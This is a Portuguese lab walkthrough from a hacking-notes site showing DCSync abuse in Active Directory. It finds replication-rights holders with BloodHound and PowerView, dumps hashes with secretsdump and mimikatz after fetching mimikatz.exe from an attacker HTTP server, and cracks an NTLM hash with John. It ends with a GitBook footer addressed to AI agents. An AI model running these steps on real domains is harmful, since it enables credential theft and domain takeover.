> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md).

# Exploração DCSync

#### Princípio do DCSync

No Active Directory, os controladores de domínio devem se sincronizar entre si para manter um banco de dados consistente.

Por exemplo, quando uma alteração é feita em um controlador de domínio, essa alteração deve ser replicada para os outros controladores de domínio.

Essa replicação diz respeito em particular a:

* usuários;
* grupos;
* hashes de senhas;
* atributos do Active Directory;
* os objetos do domínio;
* as informações necessárias para o bom funcionamento do domínio.

#### 2. Por que o DCSync é sensível

Um **DCSync** ataque ou técnica envolve o abuso dos direitos de replicação do Active Directory.

Normalmente, apenas os controladores de domínio deveriam conseguir consultar essas informações sensíveis.

Mas, se um usuário ou grupo tiver direitos de replicação excessivos, ele pode se comportar como um controlador de domínio e consultar dados sensíveis do AD.

Os direitos importantes incluem:

```
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
```

Esses direitos podem permitir a recuperação de informações críticas do domínio.

#### 3. Objetivo no laboratório

Neste laboratório, o objetivo é identificar quais usuários ou grupos têm direitos de DCSync.

Vamos usar **BloodHound** para encontrar as contas que têm essas permissões.

#### 4. Buscar contas com direitos de DCSync no BloodHound

No BloodHound, você pode usar a seguinte consulta predefinida:

```bash
Find Principals with DCSync Rights
```

<figure><img src="/files/5814ca1d95015b94e732cc7d68b8e06ac7fcc5f6" alt=""><figcaption></figcaption></figure>

Essa consulta identifica os principais — usuários, grupos ou computadores — que têm direitos de replicação no domínio.

<figure><img src="/files/1e8364757cd8de61de538ec8b07610f181a4d354" alt=""><figcaption></figcaption></figure>

#### 5. Buscar com PowerView

Com o PowerView, também é possível identificar contas com esses direitos usando o seguinte comando:

{% code overflow="wrap" %}

```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.ObjectAceType -match "DS-Replication-Get-Changes"} | select ObjectDN,ObjectAceType,@{name="Name";expression={Convert-SidToName $_.SecurityIdentifier}}
```

{% endcode %}

Este comando exibe objetos com permissões relacionadas à replicação do Active Directory.

<figure><img src="/files/02ad7d481d486d0728a56f0453f3f4402e720cd4" alt=""><figcaption></figcaption></figure>

#### 6. Alterando a senha da conta-alvo

No laboratório, então alteramos a senha da conta identificada para poder usá-la na exploração.

Senha usada:

```
Password1@
```

#### 7. Exploração remota com secretsdump

Você pode então usar `secretsdump.py` para usar os direitos de DCSync remotamente:

{% code overflow="wrap" %}

```bash
secretsdump.py 'whoami.local/hyacinthe.maryrose:'Password1@'@172.16.0.100'
```

{% endcode %}

Isso possibilita recuperar informações sensíveis acessíveis graças aos direitos de replicação da conta.

<figure><img src="/files/50a5e28f302d32760ae10a60a907430035da22b2" alt=""><figcaption></figcaption></figure>

#### 8. Usando o Mimikatz em uma máquina Windows

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

Então fazemos o download do Mimikatz como um `.zip` arquivo compactado e, em seguida, transferimos o executável para a máquina Windows do laboratório.

Na máquina atacante, iniciamos um servidor HTTP:

{% code overflow="wrap" %}

```wasm
python3 -m http.server 8000
```

{% endcode %}

A partir da máquina Windows, baixamos o executável

{% code overflow="wrap" %}

```powershell
(New-Object System.NET.WebClient).DownloadFile('http://172.16.0.2:8000/mimikatz.exe', 'mimikatz.exe')
```

{% endcode %}

Depois, executamos:

{% code overflow="wrap" %}

```powershell
. ./mimikatz.exe
```

{% endcode %}

<figure><img src="/files/986846e4a64626fe577fe3b4ad658aad39883761" alt=""><figcaption></figcaption></figure>

#### 9. Recuperando o hash do administrador

Com o Mimikatz, você pode consultar a replicação dos segredos de um usuário específico, por exemplo, a conta de administrador:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /user:whoami/administrador
```

{% endcode %}

<figure><img src="/files/9ec4ea7eda21c45b3390ed585686f9539be0cacd" alt=""><figcaption></figcaption></figure>

#### 10. Recuperando os hashes de todos os usuários

Também é possível consultar informações de todos os usuários do domínio:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /whoami:whoami.local /all /csv
```

{% endcode %}

<figure><img src="/files/cb5ee0db611cd2b11b7a0b1ab9ee90bd649f7d87" alt=""><figcaption></figcaption></figure>

#### 12. Preparando o hash para quebra

Em seguida, colocamos o hash recuperado em um arquivo em um formato compatível com o John the Ripper:

{% code overflow="wrap" %}

```bash
echo Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86::: > admin.hash
```

{% endcode %}

Então iniciamos a quebra do hash NTLM:

{% code overflow="wrap" %}

```bash
john --format=NT admin.hash
```

{% endcode %}

<figure><img src="/files/994dab166646cffe2629a9c0fb42c6c159bd0277" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
